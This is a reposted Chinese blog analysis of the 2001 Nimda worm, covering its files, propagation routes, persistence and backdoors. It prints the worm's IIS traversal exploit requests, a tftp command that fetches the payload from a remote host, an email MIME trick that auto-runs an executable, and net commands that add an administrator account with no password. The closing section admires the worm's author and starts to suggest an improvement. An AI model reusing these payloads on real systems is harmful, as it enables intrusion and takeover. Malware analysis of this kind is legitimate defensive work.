對尼姆達蠕蟲的詳細分析 (轉)
作者:tombkeeper
2001.9.18晚,我習慣性的開啟了tcp/80,用這個簡單的批處理:
-------------cut here-----------
@echo off
:start
nc -vv -w 5 -l -p 80>>httpd.log
goto start
--------------------------------
通常我用它來監測CodeXXX之類的分佈,另外還指望運氣好能弄到個把變種。
雖然偶爾會收到幾個掃描的噪聲,但一般都是"rcvd 3818"。
忽然我發現從某個IP來了連續的幾個一百位元組左右的資料,開啟httpd.log
一看原來是是一個http掃描,目的是尋找unicode_hole和CodeRedII建立的
.exe。我沒理它,可是在不到5分鐘的時間裡我連續收到了幾個發自不
同IP的同種掃描,難道這就是CodeBlue?我開了一個真正的honeypot,不管
對方GET什麼都回應"200 OK",結果馬上就看到了實質性的東西:
"GET /scripts/root.exe?/c+t -i xxx.xxx.xxx.xxx GET Admin.dll HTTP/1.0"
好,滿足你的要求。執行"tftp -i xxx.xxx.xxx.xxx GET Admin.dll",結
果馬上就得到了好東西,趕緊反編譯一下看看,然後再……@#$……%^&……
總算弄清楚了個大概,先寫一個分析報告吧。
---------------------------------------------------------------
名稱:Worm.Concept.57344 (Nimda/尼姆達)
名稱:Nimda/尼姆達
一些反廠商的命名:
Worm.Concept.57344
W32/Nimda.A@mm
W32/Nimda@mm
I-Worm.Nimda
型別:/病毒
受影響的: 95, , , 4,
大小:57344位元組
蠕蟲:
[mmc.exe]
出現在windows資料夾,蠕蟲掃描和建立tftpd的程式就是它。注意windows系統資料夾裡也有
一個mmc.exe,那不是Nimda。
[riched20.dll]
riched20.dll除了出現在windows系統資料夾裡,還可能出現在任何有*.doc檔案的資料夾裡。
因為它是win.exe和wordpad.exe執行時都要的所以當開啟DOC檔案時就等於執行了Nimda。
[Admin.dll]
(Admin.dll除了在C:,D:,E:的根目錄外還可出現在下面的"TFTP*****"出現的地方)
[load.exe]
出現在windows系統資料夾
[%temp%readme*.exe]
[TFTP****]
形如TFTP3233。檔案位置取決於使用tftp的目錄。如果是
"GET /scripts/root.exe?/c+tftp -i [localIP] GET Admin.dll HTTP/1.0"
那麼位置就在"pubscripts"。如果是
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp -i [localIP] GET Admin.dll HTTP/1.0"
那麼位置就在"/scripts/..%c1%1c../"也就是根目錄。
/*以上都是蠕蟲檔案的可程式,它們之間的區別只有檔名不同*/
[readme.eml]
這個東西是值得一提的,他利用了(或者說OE5)的一個。我們知道html格式
的中圖片和多檔案都是自動開啟的,而可執行檔案不是。但如果把可執行檔案
指定為多媒體型別,也會自動開啟。下面是readme.eml的一段:
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Traner-Encoding: base64
Content-ID:
另外,如果資料夾是“按頁檢視”,那麼即使只是用滑鼠單擊選中readme.eml
也會導致蠕蟲的執行,如果把副檔名改為mht也是可以的,但改為htm就不行。
[readme.nws]
同readme.eml,只是出現的機率很小。
[*.exe]
可執行檔案被感染,所以可能是任何檔名。
傳播方式:
(一)透過e
在internet臨時資料夾中讀取所有"htm","html"檔案並從中提取地址,
從信箱讀取email並從中提取SMTP伺服器,然後傳送readme.eml。
(二)透過unicode_hole或CodeRedII建立的root.exe
unicode_hole我就不多說了,CodeRedII會在IIS的幾個可執行目錄下放置root.exe
也是盡人皆知,Nimda首先在udp/69上啟動一個tftp伺服器
然後會作以下掃描
GET /scripts/root.exe?/c+dir HTTP/1.0
GET /MSADC/root.exe?/c+dir HTTP/1.0
GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
一旦發現有弱點的系統就使用類似下面的命令
GET /scripts/root.exe?/c+tftp -i xxx.xxx.xxx.xxx GET Admin.dll HTTP/1.0
把檔案傳到主機上去,然後再
GET /scripts/Admin.dll HTTP/1.0
(三)透過WWW服務
在所有檔名中包含default/index/main/readme並且副檔名為htm/html/的檔案
所在目錄中建立readme.eml,並在檔案末加上下面這一行
也就是說如果一臺web伺服器被感染了,那麼大部分訪問過此伺服器的機器都會被感染。
(四)透過
Nimda會搜尋本地的共享目錄中包含doc檔案的目錄,一但找到,就會把自身複製到目錄中命名為riched20.dll(原理見前)
(五)以病毒的方式
搜尋[SOFTWAREWindowsCurrentVersionApp Paths]尋找在主機上的可執行檔案,
一旦找到,Nimda就會以病毒的方式感染檔案。有一點不同的是,它把原檔案作為資源在新檔案中,
執行新檔案時再當作可執行檔案來呼叫。奇怪的是Nimda過濾了32.exe,它不會感染winzip32.exe,
可能是作者發現winzip染毒後不能正常執行吧。
確保執行:
病毒採取以下措施確保自己處於活躍狀態
1)把自己複製到windows系統資料夾裡命名為riched20.dll(原理見前)
2)把自己複製到windows系統資料夾裡命名為load.exe,
修改system.ini把
=explorer.exe改為
shell=explorer.exe load.exe -dontrunold
使病毒在下次系統啟動時執行。
建立:
1)Nimda開啟的udp/69雖然目的並不是作後門,但的的確確是一個後門。
2)如果有足夠將呼叫"net.exe"執行以下系統命令:
net user guest /add
net user guest /active
net user guest ""
net localgroup Administrators guest
net localgroup Guests guest /add
結果是空密碼的guest加到了Administrators組中。
2)如果有足夠許可權將呼叫"net.exe"執行以下系統命令:
net share c$=c:
刪除[SYSTEMCurrentControlSetServiceslanmanserverSharesSecurity]的所有子鍵
結果是C:設為完全共享。
Nimda的一些不足之處:
無論如何Nimda是一個劃時代的東西,它顯示了作者高超的水平和豐富的知識,相形之下CodeBlue顯得黯淡了很多,
甚至CodeRedII也不能相比,但還是留下了一些遺憾。
1)Nimda用的"window.open"來開啟readme.eml,這並不可靠,稍具安全常識的人都會調整IE的指令碼支援
選項,有些人乾脆關掉java,但是用下面這個方法就沒問題了:
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-993860/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 分析一個linux下的蠕蟲 (轉)Linux
- 清除Linux上的蠕蟲程式Ramen(轉)Linux
- 尼爾·布洛姆坎普專訪:談轉行遊戲與對遊戲業未來的看法遊戲
- 企鵝遭遇蠕蟲 Lupper變種盯上Linux(轉)Linux
- 某IOT蠕蟲病毒分析之UPX脫殼實戰
- 一個oracle蠕蟲病毒Oracle
- 刪除安全軟體的登錄檔設定的蠕蟲(轉)
- 掃描UNICODE漏洞傳播、攻擊的蠕蟲原始碼 (轉)Unicode原始碼
- 天台人滿為患,不如來看下這個Ramnit蠕蟲分析
- [原創]Stuxnet蠕蟲(超級工廠病毒)驅動分析UX
- 電腦殺蠕蟲病毒的操作方法
- 爬蟲抓取網頁的詳細流程爬蟲網頁
- 嚴防死守把蠕蟲病毒拒絕在系統之外(轉)
- 安全專家發現Linux蠕蟲 涉及兩處漏洞(轉)Linux
- Linux Redis自動化挖礦感染蠕蟲分析及建議LinuxRedis
- JWT 詳細分析JWT
- MSN騙子病毒詳細技術分析(轉)
- mysql蠕蟲複製是什麼意思MySql
- 挖礦蠕蟲肆虐,詳解雲防火牆如何輕鬆“制敵”防火牆
- appium的log詳細分析APP
- 蠕蟲WannaCry病毒只是勒索軟體猖獗的開始?
- 騰訊安全團隊深入解析wannacry蠕蟲病毒
- JWT 超詳細分析JWT
- PE頭詳細分析
- Https詳細分析HTTP
- AI蠕蟲是一種虛構的概念,結合了人工智慧(AI)和計算機病毒蠕蟲(worm)兩個概念AI人工智慧計算機Worm
- 淺談格雷厄姆的《證券分析》
- 網路爬蟲詳細設計方案爬蟲
- 轉載詳細的Oracle ASH/AWR介紹及報告分析Oracle
- HDU 1848 Fibonacci again and again (尼姆博弈+sg函式)AI函式
- SQL與MongoDB的詳細對比SQLMongoDB
- 那些年困擾Linux的蠕蟲、病毒和木馬Linux
- 木馬蠕蟲變種走後門 會盜取網遊密碼(轉)密碼
- js中cookie的使用詳細分析JSCookie
- C語言中的static 詳細分析C語言
- JMS詳細的工作原理【轉】
- PE節表詳細分析
- CanOpen報文詳細分析